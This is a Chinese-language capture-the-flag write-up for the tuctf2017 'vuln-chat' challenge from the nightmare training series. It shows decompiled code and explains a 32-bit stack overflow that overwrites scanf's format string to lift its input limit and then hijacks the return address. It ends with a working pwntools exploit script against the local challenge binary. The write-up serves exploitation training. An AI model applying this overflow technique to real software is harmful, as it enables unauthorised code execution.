tuctf2017_vulnchat 题解——修改 scanf 中的格式化字符串从而改变 scanf 的输入字符限制
这些题目皆来自于 nightmare 项目,感谢 nightmare 项目高质量的题解和选题,nigthmare 在线电子书地址:
https://guyinatuxedo.github.io/index.html
其中题目中所需要的二进制程序环境在这个电子书的官方仓库里有。
二进制文件信息收集
是一个 32 位程序,并且没有 canary 防护,可以直接修改函数的返回地址
逆向分析
部分函数、变量的命名为了逆向方便被我修改过
// Main 函数
undefined4 main(void)
{
undefined user_input [20];
undefined username [20];
undefined4 fmt;
undefined local_5;
setvbuf(stdout,(char *)0x0,2,0x14);
puts("----------- Welcome to vuln-chat -------------");
printf("Enter your username: ");
/* %30s */
fmt = 0x73303325;
local_5 = 0;
__isoc99_scanf(&fmt,username);
printf("Welcome %s!\n",username);
puts("Connecting to \'djinn\'");
sleep(1);
puts("--- \'djinn\' has joined your chat ---");
puts("djinn: I have the information. But how do I know I can trust you?");
printf("%s: ",username);
__isoc99_scanf(&fmt,user_input);
puts("djinn: Sorry. That\'s not good enough");
fflush(stdout);
return 0;
}
// 位于 0x0804856b 的 printFlag 函数
void printFlag(void)
{
system("/bin/cat ./flag.txt");
puts("Use it wisely");
return;
}
如果我们能覆盖 main 函数的返回地址,将这个地址改成 printFlag 的地址就可以了
观察 main 函数的栈信息
小技巧,ghidra 里面里面这些局部变量数组的下标的绝对值就是覆盖掉函数返回地址前需要填充的数据字节数,比如说 username 这个数组如果要溢出到返回地址只要 0x1d 个数据,然后再加上别的函数的返回地址,比如说 printFlag 的返回地址 0x0804856b,就能控制函数的返回地址。也就是说最终需要发送 b'a' * 0x1d + p32(0x0804856b) 这样的数据就可以了
本来我是直接打算通过溢出 username 来覆盖掉函数的返回地址的,但是发现如果要覆盖掉函数的返回地址,这边至少需要输入 username 的时候能读入 0x1d + 0x4 = 33 个字节的数据,但是最终我们实际上由于 scanf 和 fmt 变量的限制,我们只能输入 30 个字符。
后面看了 nightmare 提供的题解,发现了输入 username 的时候,是可以覆盖掉 fmt 字符串的,所以我们有机会再输入 user_input 变量的时候输入任意长度的字符串。这样在输入 user_input 的时候就有机会覆盖掉返回地址了。
攻击脚本
from pwn import *
printFlagPtr = 0x0804856b
if __name__ == '__main__':
target = process('./vuln-chat')
target.recvuntil(b'Enter your username: ')
payload1 = b'a' * 20 + b'%100s'
target.sendline(payload1)
target.recvuntil(b'trust you?')
payload2 = b'a' * 0x31 + p32(printFlagPtr)
target.sendline(payload2)
target.interactive()